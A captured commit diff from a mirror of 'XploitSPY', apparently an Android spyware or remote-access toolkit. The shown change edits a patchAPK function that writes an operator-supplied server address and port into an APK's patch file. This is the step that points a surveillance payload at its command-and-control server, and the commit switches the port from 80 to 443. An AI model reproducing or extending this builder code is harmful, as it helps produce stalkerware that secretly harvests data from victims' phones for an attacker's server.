mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2025-01-24 13:41:51 +08:00
Fixed port bug
This commit is contained in:
parent
4068c762c4
commit
ffbd519955
@ -25,7 +25,7 @@ function patchAPK(URI, PORT, cb) {
|
|||||||
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
|
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
|
||||||
if (err) return cb('File Patch Error - READ')
|
if (err) return cb('File Patch Error - READ')
|
||||||
var result = data.replace(data.substring(data.indexOf("https://"), data.indexOf("?model=")),
|
var result = data.replace(data.substring(data.indexOf("https://"), data.indexOf("?model=")),
|
||||||
"https://" + URI + ":" + "80");
|
"https://" + URI + ":" + "443");
|
||||||
fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
|
fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
|
||||||
if (err) return cb('File Patch Error - WRITE')
|
if (err) return cb('File Patch Error - WRITE')
|
||||||
else return cb(false)
|
else return cb(false)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user